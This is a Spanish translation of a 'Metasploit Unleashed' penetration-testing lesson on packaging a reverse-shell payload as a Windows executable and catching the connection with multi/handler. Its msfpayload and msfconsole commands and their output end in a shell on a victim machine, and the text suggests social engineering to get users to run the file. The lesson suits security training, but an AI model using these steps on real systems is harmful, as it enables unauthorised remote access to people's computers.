Metasploit Unleashed en Espanol (8.1/18)

4.3.10

Binarios de un Payload

Mestaploit esta lleno de caracteristicas interesantes y utiles. Una de ellas  es la habilidad para generar ejecutables de un payload desde Metasploit. Esto puede ser muy util en situaciones tales como ingenieria social, si puedes hacer que un usuario ejecute tu payload por ti, entonces no hay ninguna razon para pasar por un problema de explotacion de software.

Veamos un rapido ejemplo de como hacerlo. Vamos a usar un payload de shell inverso, ejecutado en un sistema remoto para obtener nuestra shell. Para hacer esto de forma correcta, usamos la herramienta de linea de comandos msfpayload. Este comando es usado para generar payloads para ser utilizados en muchas situaciones y ofreciendo una variedad de opciones de salida, desde perl pasando por C hasta el codigo fuente sin depurar. Estamos interesados en la salida del ejecutable, que es proporcionado por el comando X.

Generaremos un ejecutable de Windows de shell inversa que se conecte de nuevo a nosotros a traves del puerto 31337. Observe que msfpayload funciona del mismo modo que msfcli en donde puede añadir la letra "O" al final de la cadena de comando para ver que opciones estan disponibles.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST 172.16.104.130 yes The local address
LPORT 31337 yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 287
Options: LHOST=172.16.104.130,LPORT=31337

root@bt:/pentest/exploits/framework3# file /tmp/1.exe

/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit


Ok, vemos que tenemos listo el ejecutable de Windows. Ahora, vamos a usar "multi/handler" que es un manejador que se encarga de lanzar fuera del framework el exploit.

root@bt4:/pentest/exploits/framework3# ./msfconsole

## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##


=[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 371 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 149 aux

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Exploit target:

Id Name
-- ----
0 Wildcard Target


Cuando utilizamos el modulo "exploit/multi/handler", todavia necesitamos decirle cual payload usar, asi que lo configuramos con la misma configuracion que el ejecutable que generamos.

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Wildcard Target


msf exploit(handler) > set LHOST 172.16.104.130
LHOST => 172.16.104.130
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) >


Ahora que tenemos todo configurado y listo para salir, usamos "exploit" en el multi/handler y ejecutamos nuestro ejecutable generado en la victima. El multi/handler se encarga del exploit por nosotros y nos muestra la shell.

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 2 opened (172.16.104.130:31337 -> 172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>




© Offensive Security 2009

  • Original by www.offensive-security.com
  • Traslated by Jhyx

0 comentarios:

Creative Commons License
Esta obra está bajo una licencia de Creative Commons.